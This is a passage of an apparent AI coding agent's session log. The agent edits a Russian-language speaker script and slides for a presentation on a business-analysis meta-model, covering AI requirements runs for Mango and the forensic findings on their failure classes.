[INFO]           \"-  \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442, RFC \u0438 \u043e\u0434\u043e\u0431\u0440\u0435\u043d\u0438\u0435. \u042d\u0442\u043e \u0431\u044b\u043b \u043f\u0435\u0440\u0432\u044b\u0439 \u0448\u0430\u0433 \u043e\u0442 \u0440\u0435\u043c\u0435\u0441\u043b\u0430 \u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443.\",\n[2026-09-29T07:55:44.786Z] [INFO]           \"-- \u0412 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 \u043c\u044b \u0447\u0435\u0441\u0442\u043d\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438: evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442. \u041a\u0430\u0436\u0434\u044b\u0439\",\n[2026-09-29T07:55:44.786Z] [INFO]           \"-  \u043f\u0440\u043e\u0433\u043e\u043d \u0441\u0442\u0430\u043b\u0438 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443: \u0432\u0445\u043e\u0434, \u0432\u044b\u0445\u043e\u0434, \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c, \u043c\u0435\u0442\u0440\u0438\u043a\u0438.\",\n[2026-09-29T07:55:44.786Z] [INFO]           \"+  \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442. \u042d\u0442\u043e \u0431\u044b\u043b \u043f\u0435\u0440\u0432\u044b\u0439 \u0448\u0430\u0433 \u043e\u0442 \u0440\u0435\u043c\u0435\u0441\u043b\u0430 \u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443.\",\n[2026-09-29T07:55:44.786Z] [INFO]           \"+- \u041a \u0430\u0432\u0433\u0443\u0441\u0442\u0443 \u043d\u0430\u043a\u043e\u043f\u0438\u043b\u043e\u0441\u044c 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445, \u0438 \u043c\u044b \u0447\u0435\u0441\u0442\u043d\u043e\",\n[2026-09-29T07:55:44.786Z] [INFO]           \"+  \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438: evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442.\",\n[2026-09-29T07:55:44.786Z] [INFO]           \" - \u0412 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u0435 \u043f\u0440\u043e\u0432\u0435\u043b\u0438 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0443. \u0412\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0442\u0440\u0438 \u0440\u0435\u0436\u0438\u043c\u0430 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014\",\n[2026-09-29T07:55:44.786Z] [INFO]           \"   \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439, \u043e\u0434\u043d\u0438\u043c \u0432\u044b\u0437\u043e\u0432\u043e\u043c \u0438 \u0441\u0442\u0430\u0440\u044b\u0439 \u2014 \u043f\u043e\u0447\u0442\u0438 \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435:\",\n[2026-09-29T07:55:44.786Z] [INFO]           \"   [0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md).\"\n[2026-09-29T07:55:44.786Z] [INFO]         ]\n[2026-09-29T07:55:44.786Z] [INFO]       }\n[2026-09-29T07:55:44.786Z] [INFO]     ],\n[2026-09-29T07:55:44.786Z] [INFO]     \"userModified\": false,\n[2026-09-29T07:55:44.786Z] [INFO]     \"replaceAll\": false,\n[2026-09-29T07:55:44.786Z] [INFO]     \"contentNotInModelContext\": true\n[2026-09-29T07:55:44.786Z] [INFO]   }\n[2026-09-29T07:55:44.786Z] [INFO] }\n[2026-09-29T07:55:47.626Z] [INFO] {\n[2026-09-29T07:55:47.626Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:55:47.626Z] [INFO]   \"message\": {\n[2026-09-29T07:55:47.626Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:55:47.626Z] [INFO]     \"id\": \"msg_011CfXNXzdyCp51htuBrcg98\",\n[2026-09-29T07:55:47.626Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:55:47.626Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:55:47.626Z] [INFO]     \"content\": [\n[2026-09-29T07:55:47.626Z] [INFO]       {\n[2026-09-29T07:55:47.626Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:55:47.626Z] [INFO]         \"id\": \"toolu_01W9kumcj4tAyMZGzrmJfRwJ\",\n[2026-09-29T07:55:47.626Z] [INFO]         \"name\": \"Edit\",\n[2026-09-29T07:55:47.626Z] [INFO]         \"input\": {\n[2026-09-29T07:55:47.626Z] [INFO]           \"replace_all\": false,\n[2026-09-29T07:55:47.626Z] [INFO]           \"file_path\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\",\n[2026-09-29T07:55:47.626Z] [INFO]           \"old_string\": \"- \u0412\u044b\u0432\u043e\u0434 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438: \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u2014 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c, \u0433\u0440\u0430\u043d\u0438\u0446\u044b\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438, \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043f\u0440\u043e\u043c\u043f\u0442-\u043f\u0440\u0430\u0432\u043a\u0430\u043c\u0438 \u043d\u0435\\n  \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f.\",\n[2026-09-29T07:55:47.626Z] [INFO]           \"new_string\": \"- \u0412\u044b\u0432\u043e\u0434\\n  [\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md):\\n  \u0447\u0435\u0442\u044b\u0440\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u0430. \u041d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f \u0434\u043e\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f. \u0422\u0435\u043a\u0443\u0449\u0435\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432\u044b\u0434\u0430\u0451\u0442\u0441\u044f \u0437\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043a \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0435.\\n  \u0421\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438. \u041e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f\\n  \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430. \u0426\u0438\u0442\u0430\u0442\u0430: \u00ab\u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435\\n  \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u00bb.\"\n[2026-09-29T07:55:47.626Z] [INFO]         },\n[2026-09-29T07:55:47.626Z] [INFO]         \"caller\": {\n[2026-09-29T07:55:47.626Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:55:47.626Z] [INFO]         }\n[2026-09-29T07:55:47.626Z] [INFO]       }\n[2026-09-29T07:55:47.626Z] [INFO]     ],\n[2026-09-29T07:55:47.626Z] [INFO]     \"container\": null,\n[2026-09-29T07:55:47.626Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:55:47.626Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:55:47.626Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:55:47.626Z] [INFO]     \"usage\": {\n[2026-09-29T07:55:47.626Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:55:47.626Z] [INFO]       \"cache_creation_input_tokens\": 1683,\n[2026-09-29T07:55:47.626Z] [INFO]       \"cache_read_input_tokens\": 53177,\n[2026-09-29T07:55:47.626Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:55:47.626Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:55:47.626Z] [INFO]         \"ephemeral_1h_input_tokens\": 1683\n[2026-09-29T07:55:47.626Z] [INFO]       },\n[2026-09-29T07:55:47.626Z] [INFO]       \"output_tokens\": 16,\n[2026-09-29T07:55:47.626Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:55:47.626Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:55:47.626Z] [INFO]     },\n[2026-09-29T07:55:47.626Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:55:47.626Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:55:47.626Z] [INFO]     \"context_management\": null\n[2026-09-29T07:55:47.626Z] [INFO]   },\n[2026-09-29T07:55:47.626Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:55:47.626Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:47.626Z] [INFO]   \"uuid\": \"57fd0d83-2a0b-41a8-b48d-1c765573898d\",\n[2026-09-29T07:55:47.626Z] [INFO]   \"timestamp\": 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\u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f \u0434\u043e\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f. \u0422\u0435\u043a\u0443\u0449\u0435\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432\u044b\u0434\u0430\u0451\u0442\u0441\u044f \u0437\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043a \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0435.\\n  \u0421\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438. \u041e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f\\n  \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430. 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[\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md):\\n  \u0447\u0435\u0442\u044b\u0440\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u0430. \u041d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f \u0434\u043e\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f. \u0422\u0435\u043a\u0443\u0449\u0435\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432\u044b\u0434\u0430\u0451\u0442\u0441\u044f \u0437\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043a \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0435.\\n  \u0421\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438. \u041e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f\\n  \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430. \u0426\u0438\u0442\u0430\u0442\u0430: \u00ab\u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435\\n  \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u00bb.\",\n[2026-09-29T07:55:47.675Z] [INFO]     \"originalFile\": \"---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-09-29\\ntemperature: 0.3\\ntype: presentation\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\nbased_on: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\\"\\nrelated_artifacts:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\n---\\n\\n# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u0441\u0440\u0435\u0434\u044b \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f: \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430\\n\\n\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u043a\\n[\u0441\u043b\u0430\u0439\u0434\u0430\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md);\\n\u043d\u043e\u043c\u0435\u0440\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u0441 \u043d\u043e\u043c\u0435\u0440\u0430\u043c\u0438 \u0441\u043b\u0430\u0439\u0434\u043e\u0432. \u0422\u0435\u043a\u0441\u0442 \u0442\u0435\u0437\u0438\u0441\u043d\u044b\u0439: \u0435\u0433\u043e\\n\u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0441\u0432\u043e\u0438\u043c\u0438 \u0441\u043b\u043e\u0432\u0430\u043c\u0438, \u0430 \u043d\u0435 \u0447\u0438\u0442\u0430\u044e\u0442.\\n\\n## \u0420\u0430\u043c\u043a\u0430 \u0432\u044b\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u044f\\n\\n- **\u0410\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u044f:** \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango. \u0415\u043c\u0443 \u043d\u0435 \u043d\u0443\u0436\u043d\u043e\\n  \u043e\u0431\u044a\u044f\u0441\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u0442\u0430\u043a\u043e\u0435 LLM, \u0430\u0433\u0435\u043d\u0442 \u0438\u043b\u0438 RAG. \u0415\u043c\u0443 \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0435\u043c \u043f\u043e\u0434\u0445\u043e\u0434\\n  \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u00ab\u0435\u0449\u0451 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u00bb \u0438 \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c.\\n- **\u0425\u0440\u043e\u043d\u043e\u043c\u0435\u0442\u0440\u0430\u0436:** \u043e\u043a\u043e\u043b\u043e 20 \u043c\u0438\u043d\u0443\u0442 \u043d\u0430 10 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0438 10\u201315 \u043c\u0438\u043d\u0443\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b.\\n  \u041e\u0440\u0438\u0435\u043d\u0442\u0438\u0440 \u043f\u043e \u0441\u043b\u0430\u0439\u0434\u0430\u043c \u2014 \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0430\u0437\u0434\u0435\u043b\u0435.\\n- **\u041e\u0434\u043d\u0430 \u043c\u044b\u0441\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043d\u0435\u0441\u0442\u0438 \u0441\u043b\u0443\u0448\u0430\u0442\u0435\u043b\u044c:** \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439\\n  \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c, \u0430 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u043a\u0430\u0436\u0434\u043e\u0439 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\\n  \u0438 \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u043b\u0430\u0434\u0435\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438.\\n- **\u0422\u043e\u043d:** \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439. \u041a\u0430\u0436\u0434\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c. \u0422\u0430\u043c, \u0433\u0434\u0435\\n  \u0435\u0441\u0442\u044c \u043f\u0440\u043e\u0431\u0435\u043b, \u043e \u043d\u0451\u043c \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u043f\u0435\u0440\u0432\u044b\u043c: \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043d\u0430\u0439\u0434\u0451\u0442 \u0435\u0433\u043e\\n  \u0441\u0430\u043c, \u0438 \u0442\u043e\u0433\u0434\u0430 \u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u0435\u0442 \u0434\u043e\u0432\u0435\u0440\u0438\u0435 \u043a \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u043c \u0447\u0438\u0441\u043b\u0430\u043c.\\n\\n### \u0427\u0435\u0433\u043e \u043d\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0442\u044c\\n\\n- \u0427\u0442\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d end-to-end. \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u2014\\n  \u043e\u0442 \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u043e Release. \u0428\u0430\u0433\u0438 \u043c\u043e\u0434\u0435\u043b\u0438 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u044b.\\n- \u0427\u0442\u043e \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 `mango_ba_prompts` \u2014 \u0431\u0435\u043d\u0447\u043c\u0430\u0440\u043a. \u041e\u043d\u0438\\n  \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0438 \u0432 \u0440\u0430\u0437\u043d\u044b\u0445 \u0444\u043e\u0440\u043c\u0430\u0442\u0430\u0445. \u0420\u0430\u0437\u0431\u043e\u0440 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0435\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0430 \u043d\u0435 \u043d\u0430 \u0441\u0430\u043c\u043e\u043e\u0446\u0435\u043d\u043a\u0443.\\n- \u0427\u0442\u043e \u0421\u0440\u0435\u0434\u0430 4 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442. \u042d\u0442\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f \u0441 \u043f\u043b\u0430\u043d\u043e\u043c, \u0430 \u043d\u0435 \u0440\u0430\u0437\u0432\u0451\u0440\u043d\u0443\u0442\u0430\u044f\\n  \u0441\u0438\u0441\u0442\u0435\u043c\u0430.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 1. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0430\u0432\u0442\u043e\u0440\u0441\u043a\u0438\u0439 \u0442\u0435\u043a\u0441\u0442\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1 \u043c\u0438\u043d\u0443\u0442\u0430. **\u0426\u0435\u043b\u044c:** \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u0442\u0435\u0437\u0438\u0441 \u0438 \u0434\u0430\u0442\u044c \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u043e\u043d \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f\\n\u043d\u0430 \u0438\u0441\u0442\u043e\u0440\u0438\u044e, \u0430 \u043d\u0435 \u043d\u0430 \u0442\u0435\u043e\u0440\u0438\u044e.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u043f\u0440\u0438\u0448\u043b\u0438 \u043d\u0435 \u0441 \u0438\u0434\u0435\u0435\u0439, \u0430 \u0441 \u043f\u043e\u043b\u0443\u0433\u043e\u0434\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u044b: \u0441 \u0430\u043f\u0440\u0435\u043b\u044f \u043f\u043e \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026 \u0433\u043e\u0434\u0430\\n  69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 Mango \u0447\u0435\u0440\u0435\u0437 \u0418\u0418.\\n- \u0412\u0441\u0451 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u043c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438\\n  [`mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts): \u0432\u0445\u043e\u0434\u044b,\\n  \u0432\u044b\u0445\u043e\u0434\u044b, \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0436\u0443\u0440\u043d\u0430\u043b\u044b. 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430.\\n- \u0418\u0437 \u044d\u0442\u043e\u0439 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2014 \u0444\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a\\n  \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u0438 \u0433\u0434\u0435 \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u043e\u0439.\\n- \u0413\u043b\u0430\u0432\u043d\u043e\u0435, \u0447\u0442\u043e \u043c\u044b \u043f\u043e\u043d\u044f\u043b\u0438: \u043c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0448\u043b\u0435\u043d\u0438\u0435 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u041c\u044b \u0434\u0435\u043b\u0430\u0435\u043c\\n  \u0435\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 